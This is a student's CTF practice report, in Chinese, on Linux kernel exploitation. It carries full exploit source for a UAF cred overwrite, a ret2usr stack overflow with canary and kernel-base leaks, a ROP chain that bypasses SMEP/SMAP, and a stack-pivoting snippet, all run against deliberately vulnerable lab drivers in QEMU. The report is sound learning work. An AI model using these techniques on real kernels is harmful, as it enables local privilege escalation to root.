# Linux 内核部分漏洞利用实践
胡嘉懿
四川大学 网络空间安全学院,四川 成都 610065
# 摘要:
对于 Linux kernel 中常见的漏洞进行基础的分析和实践利用。学习并介绍了 Linux kernel 的基本 CPU 保护措施。学习了经典工具例如 pahole
, vmlinux-to-elf
等工具的基本功能与使用方式。实践环节采用 qemu 模拟内核,用带有漏洞的内核驱动进行调试攻击。源程序可以在 CTF-wiki 上直接下载。本篇文章着重实践了 Kernel UAF,ret2usr 等攻击方式,同时操作了如何绕过 kernel CPU 保护里的 SMEP 与 SMAP 保护(通过 ROP 技术),以及在内核态中用到的栈迁移等技术。
# 关键词:
kernel UAF,ret2usr,kernel ROP,SMEP,SMAP。
ps: 因为实践报告中代码偏多,md 文档更好编辑代码格式,所以俺直接用的 md 格式转 pdf,字体和格式可能不尽人意,还请海涵🥺。报告纯原创,顺便拿来当成学习记录心得了。
# kernel UAF
# 基础知识点
UAF,即为 Use After Free,和用户态 UAF 差别不大,kernel 中的 UAF 利用原理相似。均为堆块 free 后,但堆块指针未悬空。因此我们可以利用未悬空的指针进行一些利用。
kernel 中的 UAF,往往是多线程多进程 进行利用。例如打开两次同一个驱动 (ko 文件),这样我们能获得两个文件描述符,通过这两个文件描述符都能对该驱动进行操作。
kernel UAF 的 exploit 方式似乎起源于这篇论文:《From Collision To Exploitation: Unleashing Use-After-Free Vulnerabilities in Linux Kernel》。是 2015 年的 CCF-A 论文,似乎是上交大发的。
# ciscn2017_babydriver
ctf-wiki 上的例题。
# 文件处理
题目一般是给一个压缩包,关于文件解压基本操作,记录在下。
# 脚本解压
文件解压,可以使用脚本,但是得根据每一道题小改一下解压脚本。
①kernel 镜像解压脚本 extract-image.sh :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 # !/bin/sh # SPDX-License-Identifier: GPL-2.0-only # ---------------------------------------------------------------------- # extract-vmlinux - Extract uncompressed vmlinux from a kernel image # # (c) 2009,2010 Dick Streefland <dick@streefland.net> # # check_vmlinux() { # Use readelf to check if it's a valid ELF # TODO: find a better to way to check that it' s really vmlinux # and not just an elf readelf -h $1 > /dev/null 2>&1 || return 1 cat $1 exit 0 } try_decompress() { # The obscure use of the "tr" filter is to work around older versions of # "grep" that report the byte offset of the line instead of the pattern. # Try to find the header ($1 ) and decompress from here for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"` do pos=${pos%%:*} tail -c+$pos "$img" | $3 > $tmp 2> /dev/null check_vmlinux $tmp done } # Check invocation: me=${0##*/} img=$1 if [ $# -ne 1 -o ! -s "$img" ] then echo "Usage: $me <kernel-image>" >&2 exit 2 fi # Prepare temp files: tmp=$(mktemp /tmp/vmlinux-XXX) trap "rm -f $tmp" 0 # That didn't work, so retry after decompression. try_decompress '\037\213\010' xy gunzip try_decompress '\3757zXZ\000' abcde unxz try_decompress 'BZh' xy bunzip2 try_decompress '\135\0\0\0' xxx unlzma try_decompress '\211\114\132' xy 'lzop -d' try_decompress '\002!L\030' xxx 'lz4 -d' try_decompress '(\265/\375' xxx unzstd # Finally check for uncompressed images or objects: check_vmlinux $img # Bail out: echo "$me: Cannot find vmlinux." >&2
使用方式:
1 ./extract-image.sh bzimage > vmlinux
其中 bzimage 是压缩的内核镜像,vmlinux 为解压后的 elf 文件。(然后就可以用 ropper 加载 vmlinux 获取 gadgets)。
②解压文件系统 decompress.sh :
1 2 3 4 5 6 7 8 # !/bin/sh mkdir initramfs cd initramfs cp ../initramfs.cpio.gz . gunzip ./initramfs.cpio.gz cpio -idm < ./initramfs.cpio rm initramfs.cpio
使用方式:
③文件打包 + 编译 exp compress.sh :
1 2 3 4 5 6 7 8 # !/bin/sh gcc -o exp -static $1 mv ./exp ./rootfs cd rootfs find . -print0 \ | cpio --null -ov --format=newc \ | gzip -9 > rootfs.cpio.gz mv ./rootfs.cpio.gz ../
使用方式:
# 直接解压
我个人比较喜欢直接打开内核压缩包所在文件夹,直接右键解压。简单方便。
解压后没有发现驱动文件。查看 rootfs 里的 init 脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # !/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flag chmod 400 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console insmod /lib/modules/4.4.72/babydriver.ko chmod 777 /dev/babydev echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh umount /proc umount /sys poweroff -d 0 -f
可以看到加载了 /lib/modules/4.4.72/babydriver.ko 模块,sudo cp 出来。
查看 boot.sh :把内存改为 256M。
1 2 3 4 5 # !/bin/bash qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console =ttyS0 root=/dev/ram oops=panic panic=1' -monitor /dev/null -m 256M --n ographic -smp cores=1,threads=1 -cpu kvm64,+smep
# 代码审计
将 babydriver.ko 文件拖进 ida 中。驱动没有去除符号表。
shift+f9 查看结构体:
发现有一个 babydriver_t
结构体,成员变量为一个 buf 指针 device_buf
和 size 记录 device_buf_len
。
①babydriver_init:中注册了 /dev/babydev 设备。
②babydriver_ioctl:有一个 0x10001 的命令,根据传入的 size 来调用 kmalloc 申请堆块后,将结构体中的 babydev_struct.device_buf
指针置为堆块地址,同时更新其 babydev_struct.device_buf_len
。
③babyread:检查传入的 size 是否小于 babydev_struct.device_buf_len
,然后把数据从 babydev_struct.device_buf
中 size 个字节传到 buffer 中。(buffer 为用户自己设定的参数)
这里 ida 伪代码看不出来是从哪往哪 copy:
可以跳到汇编界面,可以看到 rdi 为 buffer,rsi 为 babydev_struct.device_buf
:
因此 babyread 的 copy_to_user
函数应该是:
1 copy_to_user(buffer,babydev_struct.device_buf,length)
④babywrite:检查传入的 size 是否小于 babydev_struct.device_buf_len
,然后把数据从 buffer 中拷贝 size 个字节到 babydev_struct.device_buf
中。
⑤babyopen:open 一个设备的时候会 kmalloc 一个 0x40 大小的堆块,并且更新 babydev_struct.device_buf
,并将 babydev_struct.device_buf_len
设置为 0x40。
⑥babyrelease:free 掉当前 babydev_struct.device_buf
指针,但是没有让指针悬空,存在 UAF 漏洞。
# 思路分析
初步想法是让 cred 结构体申请到 UAF 堆块上。然后通过 UAF 指针改掉 cred 结构体里的 uid 和 gid,进行提权。
在创建进程的时候会创建 cred 结构,如何让 cred 结构和我们 UAF 堆块重合?
首先我们知道在创建新进程的时候会构建 cred 结构,因此我们只要创建一个新进程即可达到申请 cred 结构的目的。只要在申请 cred 结构体的时候,存在一个相同大小的 UAF 堆块,即可造成 cred 结构体堆块和 UAF 堆块重合,然后我们就能利用 UAF 对 cred 结构体进行修改。
能够这样操作的原因是:Linux kernel 使用 slab/slub
来分配内存,与 glibc 下的 ptmalloc
相同点是,如果在空闲的堆里存在符合申请的大小的堆,则直接把这个堆处理后返回给申请方。
因此我们的思路是:
打开两个文件描述符,因为后续我们需要通过 close 其中一个来进行 free,这时要采用另一个文件描述符才能对设备里的堆进行读写,同时如果两个文件描述符均为打开同一个设备返回的,那么两个文件描述符均能对该设备进行操作。
调用 iotcl 来改变 babydev_struct.device_buf
堆块的大小为 cred 结构体大小。然后调用 close 进行 free。
fork 出子进程,子进程继承父进程的所有环境,因此子进程有一个和 cred 结构体大小相同的 UAF 堆块,且创建新进程时会创建 cred 结构体,这时候就能申请到 UAF 堆块上去。
利用另一个未关闭的文件描述符,对子进程里的 UAF 堆块(同时也是 cred 结构体)进行改写,更改其 uid 和 gid。
# 一些问题
# 如何确定 cred 结构体 size?
cred 结构体根据不同内核版本有着不同 size。
这里提供两种方法:
①查询对应版本 linux kernel 源码。
启动 qemu 脚本后,内核中:可以查看内核版本。
https://elixir.bootlin.com/linux/v4.4.72/C/ident/task_struct
可以查看内核源码。然后手动计算结构体大小。
②写一个测试 c 程序输出 cred 结构体大小:
1 2 3 4 5 6 7 8 9 10 #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/cred.h> MODULE_LICENSE("Dual BSD/GPL" ); struct cred test ;int main () { printf ("size of cred: %d" ,sizeof (cred)); }
本来我想的是编译该文件进文件系统,然后 qemu 起了之后,在模拟的 kernel 中运行该程序,打印出 cred 大小,但是编译报错:
一顿查之后,发现这是个 kernel 编程模块,因此得用 Makefile,而还要引用 kernel 库,这是很难引用题目要求的库的,因为我们并没有题目对应版本的库,要编译这个文件,恐怕得把对应版本 kernel 源码拉取下来,然后编译。
③ pahole
工具。
pahole
工具能够有效查看 kernel 中结构体的大小。
网上查了半天安装教程,一堆教程感觉都在误导或者说已经不管用了 (
实践后发现,ubuntu 上直接:
即可安装好 pahole
。
pahole
似乎是通过结构体名称去寻找结构体的,因此 elf 中如果没有结构体名称(也就是符号表),是查询不到的:
如图,查询自己写的 test 文件结构体成功:
查询 vmlinux 失败:
这里又用到 vmlinux-to-elf
工具。
vmlinux-to-elf
是一个将压缩内核解压成恢复了部分符号表 vmlinux 的工具。
安装方式:
1 2 3 git clone https://github.com/marin-m/vmlinux-to-elf cd vmlinux-to-elf sudo python3 ./setup.py install
使用方式:
1 vmlinux-to-elf bzImage vmlinux.elf
然后 pahole -V vmlinux.elf,但是还是失败:
④ida 查看 cred size:
在这三种方法都失败 (第一种方法不想看源码一个一个计算),咨询了 winmt 大手子,cred 的 size 可以将 vmlinux 拖进 IDA 中查看:
搜索 cred_init
函数:
可以看到 cred size 为 0xA8。
# 如何更改 cred 结构体
首先我们知道在申请子进程的时候,slab 会分配空余堆空间 (kernel 低版本) 给 cred 结构体,因此在子进程中可以通过 UAF 指针更改 cred 结构体。我们之前提到,打开了两个文件描述符,可以通过未关闭的那个文件描述符,对程序中的子进程进行读写。
那如何能够去改子进程中的呢?
我们注意一下 fork 函数:
fork 函数返回值:
父进程中返回值是子进程的 ID.
子进程返回值为 0.
因此若 fork 函数返回值为 0,我们就能确定这是子进程,就可以在这里对 cred 进行操作。
# exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/wait.h> #include <sys/stat.h> int main () { int fd1 = open("/dev/babydev" ,O_RDWR); int fd2 = open("/dev/babydev" ,O_RDWR); ioctl(fd1,0x10001 ,0xa8 ); close(fd1); int child = fork(); if (child) { wait(NULL ); } else { char zero[0x10 ]={0 }; write(fd2,zero,0x10 ); if (getuid()==0 ) { printf ("[*]get shell!\n" ); system("/bin/sh" ); exit (0 ); } else { printf ("what happened?\n" ); } } return 0 ; }
# ret2usr
# 基础知识点
操作系统中存在四种权限,由高到低为 Ring0,Ring1,Ring2,Ring3。
其中 windows 只使用 Ring0 和 Ring3(Ring0 为内核态,Ring3 为用户态)。
ret2usr 利用的是,在没有开启 smap
和 smep
保护时,通过内核能够运行用户态代码,来进行提权。
# qwb_2018_core
# 文件处理
常规解压即可。
查看 init 脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 # !/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys poweroff -d 0 -f
其中:
1 echo 1 > /proc/sys/kernel/kptr_restrict
让我们无法在非 root 条件下无法访问 /proc/kallsyms
,常见调试方法为改 /etc/rcS
或者 /etc/inittab
中的 uidgid 为 0,即可在 root 条件下查看 /proc/kallsyms
。这道题直接在 init 中改即可:
1 setsid /bin/cttyhack setuidgid 0 /bin/sh
不过:
1 cat /proc/kallsyms > /tmp/kallsyms
将所有地址 copy 到了 /tmp/kallsyms
,而这里是我们可以访问的,因此相当于我们随时可以获取所有的地址。
有个小问题是:lsmod 下有 core 模块,但是我在 /tmp/kallsyms
里并不能读取到 core_read
等函数的地址,在 /proc/kallsyms
下才能读到。调试的时候因为这个卡了一会。
获取地址的脚本直接用 ctf-wiki 的即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 size_t find_symbols () { FILE* kallsyms_fd = fopen("/tmp/kallsyms" , "r" ); if (kallsyms_fd < 0 ) { puts ("[*]open kallsyms error!" ); exit (0 ); } char buf[0x30 ] = {0 }; while (fgets(buf, 0x30 , kallsyms_fd)) { if (commit_creds & prepare_kernel_cred) return 0 ; if (strstr (buf, "commit_creds" ) && !commit_creds) { char hex[20 ] = {0 }; strncpy (hex, buf, 16 ); sscanf (hex, "%llx" , &commit_creds); printf ("commit_creds addr: %p\n" , commit_creds); vmlinux_base = commit_creds - 0x9c8e0 ; printf ("vmlinux_base addr: %p\n" , vmlinux_base); } if (strstr (buf, "prepare_kernel_cred" ) && !prepare_kernel_cred) { char hex[20 ] = {0 }; strncpy (hex, buf, 16 ); sscanf (hex, "%llx" , &prepare_kernel_cred); printf ("prepare_kernel_cred addr: %p\n" , prepare_kernel_cred); vmlinux_base = prepare_kernel_cred - 0x9cce0 ; } } if (!(prepare_kernel_cred & commit_creds)) { puts ("[*]Error!" ); exit (0 ); } }
其中 fgets 是按照文件里的每一行读取,同时读取过一次后,会自动将文件字节流指针往后移一行,同时地址刚好为 16 字节,因此可以获取到所需函数的地址。
# 代码审计
init_module:注册了 core 设备, /dev/core
为我们需要打开的设备路径。
core_read:函数最开始实现了一个手动的 memset,然后向 v5 [off] 里前 0x40 个字节内容 copy 到传进来的字符串 a1 中。
1 copy_to_user(a1, &v5[off], 0x40 LL);
由于 off 我们可以控制,因此可以泄露栈上泄露某些东西。
core_write:a2 为传进来的字符串,a3 为 size,将 a2 中 size 个字节的内容 copy 到全局变量 name 中。
1 if (a3 <= 0x800 && !copy_from_user(&name, a2, a3))
core_copy_func:将 name 中的内容 copy 到栈上 v2 变量中,其中有一个整数溢出转换,可以让我们绕过 size check,达成栈溢出的目的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 __int64 __fastcall core_copy_func (__int64 a1) { __int64 result; _QWORD v2[10 ]; v2[8 ] = __readgsqword(0x28 u); printk(&unk_215); if ( a1 > 0x3F ) { printk(&unk_2A1); return 0xFFFFFFFF LL; } else { result = 0LL ; qmemcpy(v2, &name, (unsigned __int16)a1); } return result; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __int64 __fastcall core_ioctl (__int64 a1, int a2, __int64 a3) { switch ( a2 ) { case 0x6677889B : core_read(a3); break ; case 0x6677889C : printk(&unk_2CD); off = a3; break ; case 0x6677889A : printk(&unk_2B3); core_copy_func(a3); break ; } return 0LL ; }
# 思路分析
因为程序没有开启 smep
和 smap
,因此我们可以直接 ret2usr,意为在内核层执行用户代码。那我们就可以在用户代码中写入:
1 commit_creds(prepare_kernel_cred(0 ))
并利用栈溢出构造 ROP 链,使程序调用该用户代码实现提权。
# 一些调试技巧
在 start.sh 中加入 -gdb tcp:port
或者 -s
来开启调试端口。-s 的话是默认端口 1234。
gdb 中:
即可进行调试。
用 vmlinux-to-elf
解压恢复了部分符号表的 vmlinux,可以在 gdb 中:
来加载其符号。
关于驱动符号,通过在 gdb 中:
1 add-symbol-file xxx addr
可以加载其符号。
其中 addr 可以通过 lsmod 查看,不过需要注意的是,我们需要修改启动脚本,以 root 权限启动,否则 lsmod 看到的地址为 0。
1 2 / # lsmod core 16384 0 - Live 0xffffffffc023c000 (O)
# 泄露 canary 和 kernel 基址
这道题可以用程序本身的漏洞来泄露 canary
和 kernel_base
,我选择直接用程序本身漏洞做。
调试时打断点在 core_read
处,continue 过去再打断点在 _copy_to_user
处,可以查看 copy 到用户那的内核栈数据情况。
查看内存布局之后:
泄露 canary
和 kernel_base
。
1 2 3 4 5 6 7 8 9 void leak (void ) { ioctl(global_fd,0x6677889C ,0x40 ); core_read(); canary = buf[0 ]; kernel_base=buf[4 ]-0x1DD6D1 ; offset = kernel_base-0xffffffff81000000 ; printf ("[*] Cookie: %lx\n" , canary); printf ("[*] kernel_base: %lx\n" , kernel_base); }
# exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 #define _GNU_SOURCE #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sched.h> #include <sys/mman.h> #include <signal.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <linux/userfaultfd.h> #include <sys/wait.h> #include <poll.h> #include <unistd.h> #include <stdlib.h> int global_fd;unsigned long buf[20 ];unsigned long user_cs, user_ss, user_rflags, user_sp;unsigned long canary;unsigned long kernel_base;unsigned long offset;unsigned long rop[0x100 ];void open_dev () { global_fd = open("/proc/core" , O_RDWR); if (global_fd < 0 ){ puts ("[!] Failed to open device" ); exit (-1 ); } else { puts ("[*] Opened device" ); } } void save_state () { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts ("[*] Saved state" ); } void core_read () { ioctl(global_fd,0x6677889B ,buf); } void leak (void ) { ioctl(global_fd,0x6677889C ,0x40 ); core_read(); canary = buf[0 ]; kernel_base=buf[4 ]-0x1DD6D1 ; offset = kernel_base-0xffffffff81000000 ; printf ("[*] Cookie: %lx\n" , canary); printf ("[*] kernel_base: %lx\n" , kernel_base); } void getshell () { if (!getuid()) { system("/bin/sh" ); } else { puts ("[*]you have been root." ); } exit (0 ); } void myeval () { unsigned long int prepare_kernel_cred = offset+0xffffffff8109cce0 ; unsigned long int commit_creds = offset+0xffffffff8109c8e0 ; char * (*a1)(int ) = prepare_kernel_cred; void (*a2)(char *) = commit_creds; (*a2)((*a1)(0 )); } void overflow () { int n=8 ; rop[n++]=canary; rop[n++]=0 ; rop[n++]=(size_t )myeval; rop[n++]=0xffffffff81a012da +offset; rop[n++]=0 ; rop[n++]=0xffffffff81050ac2 +offset; rop[n++]=(size_t )getshell; rop[n++] = user_cs; rop[n++] = user_rflags; rop[n++] = user_sp; rop[n++] = user_ss; write(global_fd,rop,0x100 *8 ); ioctl(global_fd,0x6677889A ,0xffffffffffff0000 | (0x100 )); } int main () { open_dev(); save_state(); leak(); overflow(); }
# kernel rop
rop 大家都很熟悉了,这里就不再介绍 kernel 的 rop。
# qwb_2018_core
依旧以这道题为例题,我们开启 smap
和 smep
,用户态数据不可访问,以及用户态代码不可执行。
因此采用 ROP 来提权。我们已经泄露了 kernel_base
与 canary
。
因此直接 rop 调用 commit_creds(prepare_kernel_cred(0))
即可
需要注意的是,用 ropper 获取的某些 gadget 可能不可用,会触发 kernel panic。
# exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 #define _GNU_SOURCE #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sched.h> #include <sys/mman.h> #include <signal.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <linux/userfaultfd.h> #include <sys/wait.h> #include <poll.h> #include <unistd.h> #include <stdlib.h> int global_fd;unsigned long buf[20 ];unsigned long user_cs, user_ss, user_rflags, user_sp;unsigned long canary;unsigned long kernel_base;unsigned long offset;unsigned long rop[0x100 ];void open_dev () { global_fd = open("/proc/core" , O_RDWR); if (global_fd < 0 ){ puts ("[!] Failed to open device" ); exit (-1 ); } else { puts ("[*] Opened device" ); } } void save_state () { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts ("[*] Saved state" ); } void core_read () { ioctl(global_fd,0x6677889B ,buf); } void leak (void ) { ioctl(global_fd,0x6677889C ,0x40 ); core_read(); canary = buf[0 ]; kernel_base=buf[4 ]-0x1DD6D1 ; offset = kernel_base-0xffffffff81000000 ; printf ("[*] Cookie: %lx\n" , canary); printf ("[*] kernel_base: %lx\n" , kernel_base); } void getshell () { if (!getuid()) { system("/bin/sh" ); } else { puts ("[*]you have been root." ); } exit (0 ); } void overflow () { int n=8 ; rop[n++]=canary; rop[n++]=0 ; rop[n++]=0xffffffff81000b2f +offset; rop[n++]=0 ; rop[n++]=0xffffffff8109cce0 +offset; rop[n++]=0xffffffff810a0f49 +offset; rop[n++]=0xffffffff8109c8e0 +offset; rop[n++]=0xffffffff8106a6d2 +offset; rop[n++]=0xffffffff81a012da +offset; rop[n++]=0 ; rop[n++]=0xffffffff81050ac2 +offset; rop[n++]=(size_t )getshell; rop[n++] = user_cs; rop[n++] = user_rflags; rop[n++] = user_sp; rop[n++] = user_ss; write(global_fd,rop,0x100 *8 ); ioctl(global_fd,0x6677889A ,0xffffffffffff0000 | (0x100 )); } int main () { open_dev(); save_state(); leak(); overflow(); }
# stack pivoting
若只允许溢出八字节,可采用我们在用户态中采用的技术:stack pivoting。
先找一个合适的 gadget 进行栈迁移:
1 0xffffffff813fed41: mov esp, 0x83000000; ret;
利用 mmap 生成一块内存,在上面填充好我们的 ROP 链:
1 2 3 4 5 6 7 8 9 void build_fake_stack (void ) { fake_stack = mmap((void *)0x83000000 - 0x1000 , 0x2000 , PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1 , 0 ); unsigned off = 0x1000 / 8 ; fake_stack[0 ] = 0xdead ; fake_stack[off++] = 0x0 ; fake_stack[off++] = 0x0 ; fake_stack[off++] = pop_rdi_ret; ... }
需要注意的是:
mmap 的地址需要 - 0x1000 左右,因为在执行 ROP 链的时候,会往上开辟栈帧,若往上的地址不可写,则会中途崩溃。
mmap 出来的页最开始写一点东西来防止 fault。
然后移栈过去即可。
# 可能存在的问题
在内核中,高位地址均为 0xff,那这条指令只改变 esp(rsp 的低四位),这样改出来的地址还合法吗?
1 0xffffffff813fed41: mov esp, 0x83000000; ret;
其实在 intel x86
的约定下,对于某些汇编指令的设计:
例如 mov
置零若对象是 x64
中的四位寄存器,他会相应地把其高位四字节清零。例如以上置零实则会将 rsp
高位清零。
同理我们平常使用的 xor eax,eax
置零,也同样可以达到 xor rax,rax
的目的。